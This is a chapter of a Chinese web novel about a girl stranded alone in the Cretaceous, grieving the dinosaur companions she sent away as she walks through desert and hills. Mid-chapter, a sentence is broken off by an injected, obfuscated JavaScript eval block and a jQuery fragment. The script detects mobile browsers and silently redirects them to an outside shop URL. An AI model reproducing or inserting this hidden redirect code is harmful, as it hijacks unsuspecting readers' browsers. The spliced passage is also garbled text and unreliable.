她不知道自己是什么时候睡着的。
也许没睡着。也许只是在半梦半醒之间，眼睛闭着，脑子还在转。转来转去，都是同一个画面——绒绒抓着小智飞走的背影，小角一瘸一拐消失在地平线上的样子。
她睁开眼睛。
天还没亮。灰蒙蒙的，分不清是凌晨还是黄昏。火堆早就灭了，只剩一小堆黑色的炭渣，被风吹得散了一地。冷。不是那种慢慢渗进来的冷，是那种从骨头缝里往外冒的冷。她蜷在地上，膝盖抵着胸口，双手抱着腿，身体缩成一个球。以前这个姿势很管用，能把体温锁住。但今天不管用了。风从四面八方钻进来，从兽皮裙的缝隙里，从领口，从袖口，从任何有开口的地方。
她打了个哆嗦。
小角不在。没有暖烘烘的肚子可以贴。绒绒不在。没有大翅膀盖在身上。小智不在。没有毛球缩在脖子旁边取暖。
只有她。
和那个脏兮兮的玩偶。
她把玩偶从兽皮背心里摸出来，攥在手心里。玩偶是凉的，凉得像一块石头。她用双手把它包住，试图把它捂热。捂了很久，还是凉的。
“绒绒。”她轻声说。
没有人回答。
她坐起来。身体僵了，每一块骨头都在疼。脖子像是被人拧过，转一下都咔咔响。她伸手揉了揉脖子，手指碰到皮肤，凉的，像摸到一块冷肉。
她看了看周围。灰白色的荒漠，灰白色的天空。远处有一道模糊的山影，不知道是山还是云。她分不清了。
她低下头，看了看自己的手。指甲缝里全是黑泥，手背上有一道结了痂的口子，手指肿了一圈，像十根小胡萝卜。
“林小禾。”她对自己说，“你好惨。”
她站起来。腿在抖，不是害怕，是冷。她跺了跺脚，脚趾没有知觉了。她低头看了看脚上包的兽皮——昨晚没拆，现在兽皮硬了，像一层壳，磨得脚踝生疼。
她蹲下来，把兽皮拆了。脚露出来，白白的，皱巴巴的，像在水里泡了很久。她用指甲掐了一下，不疼。没知觉了。
“完了。”她轻声说，“脚要冻掉了。”
她重新包上兽皮，这次包松了一点，留了点空隙。然后站起来，背上应急包，拿起短鱼叉。包更轻了——没有吃的，水只剩小半袋。短鱼叉的柄上结了一层霜，滑溜溜的，握不住。她在衣服上蹭了蹭，又握住了。
“走吧。”
她朝东北方向走去。不知道对不对，但总得走。停下来就会冷，冷就会想睡觉，睡觉就会死。她不想死。至少不想死在没有人知道的地方。
走了大概一个小时，天亮了。
不是那种明亮的、温暖的光，是那种灰蒙蒙的、像蒙了一层纱的光。太阳躲在云层后面，只透出一个模糊的轮廓，像一个发白的圆点，挂在天上，不暖，但至少能看清方向。
她停下来，看了看四周。还是荒漠。灰白色的地，灰白色的天，没有树，没有水，没有活物。只有风，和风卷起来的沙土。
她的嗓子干得像砂纸。她拿出水袋，喝了一小口。水是凉的，但凉得正好，顺着喉咙滑下去，像一条冰线。她把水袋塞回去，舍不得多喝。
“林小北。”她哑着嗓子说，“你妹在荒漠里走了好几天了。不知道走对了没有。不知道还要走多久。”
她吸了吸鼻子。“但是你妹没放弃。你妹不会放弃。”
她继续走。
---
中午，她看到了一样东西。
不是树，不是水。是一块石头。很大，比她还高，孤零零地站在荒漠中间，像一个被遗弃的巨人。石头的表面很光滑，没有被风蚀过的痕迹，像是从天上掉下来的。
她走过去，伸手摸了摸。石头是温的。不是那种被太阳晒过的烫，是那种从内部散发出来的、像体温一样的温。
她把脸贴在石头上。温的。很舒服。她闭了一会儿眼睛，差点睡着了。不行，不能睡。她睁开眼，退后一步。
石头上有一道裂缝。不宽，刚好能侧身挤进去。她把应急包先塞进去，然后侧着身子往里挤。裂缝里面是一个小小的空间，不大，但刚好能让她坐下，把腿伸直。
她坐下来。风被挡住了。终于没有风了。她靠着石壁，长长地呼了一口气。这是几天来第一次待在没风的地方。
她把小智从肩膀上拿下来——不对，小智不在。她伸手摸了一下肩膀，空的。
“小智。”她喊了一声。
没有人回答。
她把脸埋在膝盖里，安静了一会儿。然后抬起头，从兽皮背心里摸出那片枯叶——昨天捡的那片，代表小智的。叶子已经碎了，只剩一小片，卷曲着，发黑。
她把叶子放在手心里，看着它。
“小智。”她又喊了一声。
叶子不会回答。
她把叶子小心地放回背心里，贴着心脏的位置。旁边是那块沾血的兽皮，和那个脏兮兮的玩偶。
她把玩偶拿出来，举到眼前。
“绒绒。”她说，“你说，我是不是做错了？”
玩偶没有回答。
“也许我不该赶你们走。也许我们可以一起走。也许你不会死，小角的脚会好，小智不会饿。”
她停了一下。
“但是也许你们会死。”
“也许你们会因为我死。”
“我不能冒这个险。”
她把玩偶贴在脸上。
“所以我把你们赶走了。”
“我是为你们好。”
“你们会恨我吗？”
没有人回答。
她把玩偶放回去，靠着石壁，闭上眼睛。她没有睡，只是在想。想了很多。想家，想林小北，想妈妈做的红烧肉，想爸爸煮的面，想大哥买的奶茶。想那个小小的、乱糟糟的房间，想那张堆满书的桌子，想那盏台灯，想那个永远充不满电的手机。
想绒绒。想小角。想小智。
想那些回不去的日子。
眼泪从眼角滑下来，顺着太阳穴流进头发里。她没有擦。反正没人看到。反正哭了也没用。
她哭了一会儿，然后用手背擦了擦脸。
“够了。”她对自己说。“哭够了。该走了。”
她爬出石缝，背上应急包，拿起短鱼叉。风又来了，打在脸上，像刀子。她眯着眼睛，看了看太阳的位置——偏西，大概下午两三点。
“走。”
---
下午，她走出了一片荒漠，到了一片丘陵。
说是丘陵，其实就是一些矮矮的土包，高不过两三米，上面长着一些枯黄的草和矮小的灌木。草很硬，踩上去扎脚。灌木没有叶子，只有光秃秃的枝条，像老人的手指。
她爬上一个土包，往下看。前面还是丘陵，一个接一个，像凝固的海浪。远处的地平线上，有一道细细的、灰色的线。不是烟——太细了，太直了。像是——山？
“山？”她眯着眼睛看。
那道线没有变粗，也没有变近。她不确定是不是山，也许是云，也许是幻觉。她看了看自己的水袋——只剩最后两口了。她犹豫了一下，还是没喝。
走。走到那道线那里。也许那里有水的。也许那里有吃的。也许那里有裂缝。
她爬下土包，继续走。
走了一会儿，她看到了脚印。不是恐龙的——太大了。不是她的——太小了。是一串小小的、三趾的脚印，从土包上延伸下来，消失在灌木丛里。
伤齿龙的脚印。
和小智的一模一样。
她蹲下来，看着那串脚印。脚印很新，边缘还没有被风吹平。是今天的，也许是几个小时的。
“小智？”她喊了一声。
没有人回答。
她顺着脚印走了几步。脚印拐了个弯，朝另一个方向去了。她没有跟过去。不是不想，是——小智不在了。绒绒把它带走了。这个脚印是别的伤齿龙的，不是小智。
她站起来，继续走。
走了没几步，她又看到了脚印。这次不是伤齿龙的——更大，更圆，像一个个小坑。三角龙的脚印。
和小角的一模一样。
她蹲下来，伸手摸了摸那个脚印。脚印很深，边缘很清晰。比伤齿龙的脚印还新，也许是半个小时前的。
“小角？”她喊了一声。
没有人回答。
她的心跳了一下。也许不是小角。也许是别的三角龙。这片大陆上有很多三角龙，不一定就是小角。她站起来，看着脚印延伸的方向——和她的方向不一样。一个东，一个东北。
她没有跟过去。
她继续往东北走。
走了几步，她停下来。回头看了一下那串脚印。脚印静静地躺在那里，在夕阳下投下一小片阴影。
“小角。”她轻声说。
然后她转过身，继续走。
没有回头。
---
傍晚，她在一个土包的背风面停下来。
土包不高，但能挡风。她在土包脚下找到一小块平地，放下应急包。今天走了很远的路，腿已经不是她的了，只是机械地迈步。
她生了一堆火。柴火不多了，她从灌木丛里捡了一些枯枝，又从应急包里拿出最后几根干树枝。火不大，但能取暖。
她坐在火堆旁边，抱着膝盖。
没有人陪她。
小角不在，没有人枕她的脚。绒绒不在，没有翅膀盖在她身上。小智不在，没有毛球蹲在她肩膀上。
只有火，和火跳动的影子。
她从兽皮背心里拿出那个玩偶，放在膝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691436|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盖上。
“绒绒。”她说，“你今天在哪里？”
玩偶不会回答。
“你是不是已经回到山洞了？”
她看着玩偶。
“你回去了也好。山洞里有吃的，有水，安全。比跟着我好多了。”
她把玩偶贴在脸上。
“你回去了，我就不用担心你了。”
她的眼眶红了。
“你回去了……我就一个人了。”
她停了一下。
“不对，我一直是一个人。”
她笑了笑。不是开心的笑，是那种“我认了”的笑。
“从一开始就是一个人。穿越过来的时候是一个人。遇到你们之后，才不是一个人。”
“现在又一个人了。”
她把玩偶举到眼前，看着它歪歪扭扭的翅膀。
“绒绒，谢谢你在。”
“谢谢你陪我走了那么远。”
“谢谢你帮我挡风。”
“谢谢你救了我那么多次。”
她的眼泪掉下来了。一滴，滴在玩偶的头上。
“谢谢你……让我知道，我不是一个人。”
她把玩偶贴在胸口，靠着心脏的位置。哭了一会儿，然后抬起头，擦了擦脸。
火快灭了。她用树枝拨了拨，加了几根枯枝。火又旺了一点，噼啪响了几下。
她拿出水袋，喝掉了最后两口。水是温的——被体温捂热的。她把空水袋塞回应急包里。
没有吃的。她摸了摸肚子，不饿了。不是吃饱了，是饿过头了。胃已经不叫了，安安静静的，像一块石头。
她从背心里拿出那片碎叶子和那块沾血的兽皮，放在膝盖上。
“小角，”她看着那块兽皮，“你的脚还疼吗？”
兽皮不会回答。
“小智，”她看着那片碎叶子，“你饿不饿？”
叶子不会回答。
她把它们收回去，贴着心脏。
然后她靠着应急包，看着天空。
星星出来了。今晚的星星很多，密密麻麻的，像有人在天上撒了一把碎钻石。没有月亮。天很黑。
“林小北。”她说，“你妹今天一个人走了很远的路。没有绒绒带路，没有小角陪着，没有小智加油。你妹一个人。”
她停了一下。
“但是你妹没怕。”
“你妹是不是变勇敢了？”
她吸了吸鼻子。
“你妹好想你。”
“不知道你在干嘛。是不是在找我？是不是在哭？是不是以为我死了？”
“别哭了。你妹没死。你妹活着。”
“你妹会回去的。”
“你等着。”
她看着星星，想了很多。想那些星星离她有多远，想那些星星上面有没有人，想那些星星知不知道她在这里，一个人，在恐龙的世界里。
“晚安，林小北。”
她张了张嘴，想说“晚安，绒绒”。
嘴唇动了动，没有声音。
想说“晚安，小角”。
嘴唇又动了动，还是没有声音。
想说“晚安，小智”。
她闭上了嘴。
说不出口。因为说出口，就代表它们不在了。就代表它们真的走了。就代表她真的是一个人了。
“晚安。”她只说了一个词。
然后她把脸埋在膝盖里，无声地哭了。
火堆慢慢灭了。灰烬被风吹散了。她一个人，蜷在那个土包的背风面，没有翅膀盖，没有脚枕，没有毛球。只有那个脏兮兮的玩偶，被她攥在手心里，攥得很紧很紧。
她在梦里又看到了绒绒。
绒绒站在一棵大树上，歪头看着她。白色的羽毛在月光下亮得像一层霜。它张开嘴，发出一声长长的、悠长的鸣叫，像唱歌，又像哭。
她朝绒绒跑过去。
“绒绒！”
绒绒展开发翅膀，飞了起来。
她追不上。
“绒绒！你别走！”
绒绒越飞越高，越飞越远，变成一个白色的小点，消失在星空中。
她站在原地，仰着头，看着空荡荡的天空。
“绒绒……”
没有人回答。
她醒了。
天还没亮。火早就灭了。周围一片漆黑。冷。很冷。她蜷成一个球，把玩偶攥在手心里，把脸埋在膝盖里。
“绒绒。”她轻声说。
没有人回答。
她闭上眼睛。
等天亮。
白垩纪，大概是第七十四天。
出发后的第九天。
一个人。
一个人。
一个人。
明天继续走。